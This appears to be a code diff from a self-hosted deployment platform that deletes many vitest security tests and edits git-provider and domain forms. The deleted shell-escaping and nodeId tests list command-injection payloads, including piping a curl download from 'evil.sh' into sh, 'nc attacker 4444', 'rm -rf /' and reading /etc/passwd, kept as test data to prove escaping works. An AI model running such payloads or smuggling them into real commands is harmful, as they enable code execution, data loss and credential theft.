expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});
@@ -1,89 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// How git-provider commands escape a single user value before it reaches the shell.
const shellArg = (value: string) => quote([String(value ?? "")]);
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("git provider shell escaping (quote)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellArg(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellArg(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});
@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import {
canEditDeployGitSource,
getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({
query: {
@@ -1,91 +0,0 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});
@@ -1,11 +1,16 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: {
findFirst: (...args: unknown[]) => findFirstServer(...args),
},
@@ -14,56 +19,91 @@ vi.mock("@dokploy/server/db", () => ({
}));
vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {},
}));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
}));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency", () => {
describe("resolveBuildsConcurrency (enterprise gating)", () => {
beforeEach(() => {
vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
});
describe("local web server partition", () => {
it("returns the configured concurrency", async () => {
it("returns the configured concurrency when licensed", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
});
it("does not cap high values", async () => {
it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999,
);
});
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("remote server partition", () => {
it("returns the server concurrency", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
});
it("defaults to 1 for an unknown server", async () => {
@@ -79,3 +119,30 @@ describe("resolveBuildsConcurrency", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});
@@ -1,75 +0,0 @@
import { apiCreateRegistry, apiTestRegistry } from "@dokploy/server/db/schema";
import { describe, expect, it } from "vitest";
describe("Registry Schema - Username case preservation (#4632)", () => {
const validBase = {
registryName: "AWS ECR",
password: "dXNlcm5hbWU6cGFzc3dvcmQ=", // dummy base64 token
registryUrl: "123456789.dkr.ecr.us-east-1.amazonaws.com",
registryType: "cloud" as const,
imagePrefix: null,
};
it("should preserve uppercase username (AWS ECR requires 'AWS')", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should not lowercase mixed-case usernames", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "MyUser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("MyUser");
}
});
it("should still trim whitespace from username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: " AWS ",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should reject empty username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "",
});
expect(result.success).toBe(false);
});
it("should also preserve case in apiTestRegistry", () => {
const result = apiTestRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should accept lowercase usernames too (backward compat)", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "myuser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("myuser");
}
});
});
@@ -1,98 +0,0 @@
import { execFileSync, execSync } from "node:child_process";
import { chmodSync, mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { defaultCommand, reportDockerVersion } from "@dokploy/server";
import { describe, expect, it } from "vitest";
const resolveBin = (name: string) =>
execSync(`command -v ${name}`, { encoding: "utf8" }).trim();
/**
* Build a sandbox PATH so `command -v docker` only sees our fake docker
* binary (or nothing), regardless of what the host has installed.
*/
const makeSandbox = (dockerShim?: string) => {
const dir = mkdtempSync(path.join(tmpdir(), "dokploy-server-setup-"));
for (const tool of ["awk", "tr"]) {
const shim = path.join(dir, tool);
writeFileSync(shim, `#!/bin/sh\nexec ${resolveBin(tool)} "$@"\n`);
chmodSync(shim, 0o755);
}
if (dockerShim) {
const shim = path.join(dir, "docker");
writeFileSync(shim, dockerShim);
chmodSync(shim, 0o755);
}
return dir;
};
const runReport = (sandboxPath: string) => {
const script = [
"DOCKER_VERSION=28.5.0",
reportDockerVersion(),
'echo "$DOCKER_VERSION_REPORT"',
].join("\n");
return execFileSync(resolveBin("bash"), ["-c", script], {
encoding: "utf8",
env: { ...process.env, PATH: sandboxPath },
})
.trim()
.split("\n")
.pop();
};
describe("reportDockerVersion", () => {
it("reports the engine version when docker and its daemon are available", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 25.0.0, build aaaaaaa"',
" exit 0",
"fi",
'if [ "$1" = "version" ]; then',
' echo "29.4.3"',
" exit 0",
"fi",
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("falls back to the client version when the daemon is unreachable", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 29.4.3, build 055a478"',
" exit 0",
"fi",
'echo "Cannot connect to the Docker daemon" >&2',
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("reports the pinned version to be installed when docker is missing", () => {
expect(runReport(makeSandbox())).toBe("28.5.0 (will be installed)");
});
});
describe("defaultCommand", () => {
it.each([false, true])(
"prints the detected Docker version in the setup banner (isBuildServer=%s)",
(isBuildServer) => {
const script = defaultCommand(isBuildServer);
expect(script).toContain(reportDockerVersion());
expect(script).toContain(
'echo "| Docker | $DOCKER_VERSION_REPORT"',
);
expect(script).not.toContain(
'echo "| Docker | $DOCKER_VERSION"',
);
},
);
});
@@ -1,44 +0,0 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});
@@ -1,41 +0,0 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});
@@ -7,8 +7,6 @@ const baseApp: ApplicationNested = {
rollbackActive: false,
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
@@ -1,46 +0,0 @@
import { VALID_HOSTNAME_REGEX } from "@dokploy/server";
import { describe, expect, it } from "vitest";
describe("VALID_HOSTNAME_REGEX", () => {
it.each([
"example.com",
"sub.example.com",
"bbn-client.example.com",
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
it.each([
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",
`a${"a".repeat(63)}.com`,
])("rejects invalid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
});
// IDNs (Cyrillic, German umlauts, etc.) must be submitted in their
// ACME/punycode form ("xn--...") — that's what Let's Encrypt issues
// certificates for, so raw Unicode labels are rejected here.
it.each(["пример.рф", "bücher.de", "日本語.jp"])(
"rejects raw unicode IDN %s",
(host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
},
);
it.each([
"xn--e1afmkfd.xn--p1ai", // punycode for пример.рф
"xn--bcher-kva.de", // punycode for bücher.de
"xn--wgv71a119e.jp", // punycode for 日本語.jp
])("accepts punycode-encoded IDN %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
});
-104
View File
@@ -1,104 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});
@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
</Button>
</div>
<Dialog open={showModal} onOpenChange={setShowModal}>
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
<DialogContent className="max-w-[50vw]">
<DialogHeader>
<DialogTitle className="text-2xl font-bold">
Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
<div className="flex flex-col gap-6">
<div className="space-y-4">
<div className="flex items-center gap-2">
<Code2 className="h-5 w-5 text-primary" />
@@ -207,14 +207,12 @@ export const ShowImport = ({ composeId }: Props) => {
Docker Compose
</h3>
</div>
<div className="max-h-[45vh] overflow-auto rounded-md border">
<CodeEditor
language="yaml"
value={templateInfo?.compose || ""}
className="font-mono"
readOnly
/>
</div>
<CodeEditor
language="yaml"
value={templateInfo?.compose || ""}
className="font-mono"
readOnly
/>
</div>
<Separator />
@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { DatabaseZap, Dices, RefreshCw, X } from "lucide-react";
import Link from "next/link";
@@ -57,10 +53,7 @@ export const domain = z
.refine((val) => val === val.trim(), {
message: "Domain name cannot have leading or trailing spaces",
})
.transform((val) => val.trim())
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
.transform((val) => val.trim()),
path: z.string().min(1).optional(),
internalPath: z.string().optional(),
stripPath: z.boolean().optional(),
@@ -60,16 +60,14 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
const currentBuildArgs = form.watch("buildArgs");
const currentBuildSecrets = form.watch("buildSecrets");
const currentCreateEnvFile = form.watch("createEnvFile");
const { isDirty } = form.formState;
const hasChanges =
currentEnv !== (data?.env || "") ||
currentBuildArgs !== (data?.buildArgs || "") ||
currentBuildSecrets !== (data?.buildSecrets || "") ||
currentCreateEnvFile !== (data?.createEnvFile ?? true);
// Skip reset while editing so background refetches don't wipe edits
useEffect(() => {
if (data && !isDirty) {
if (data) {
form.reset({
env: data.env || "",
buildArgs: data.buildArgs || "",
@@ -77,7 +75,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
createEnvFile: data.createEnvFile ?? true,
});
}
}, [data, isDirty, form]);
}, [data, form]);
const onSubmit = async (formData: EnvironmentSchema) => {
mutateAsync({
@@ -89,7 +87,6 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
})
.then(async () => {
toast.success("Environments Added");
form.reset(formData);
await refetch();
})
.catch(() => {
@@ -188,9 +188,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -199,6 +196,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -247,7 +245,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -256,19 +254,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -288,7 +281,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -299,8 +292,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -308,8 +301,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -341,7 +333,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -356,10 +348,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -387,7 +376,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -201,9 +201,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -211,6 +208,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -260,7 +258,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -270,18 +268,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...."
: (repositories?.find(
(repo: GiteaRepository) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -307,7 +301,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => {
return (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -317,10 +311,8 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -328,9 +320,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -363,7 +353,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -379,10 +369,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
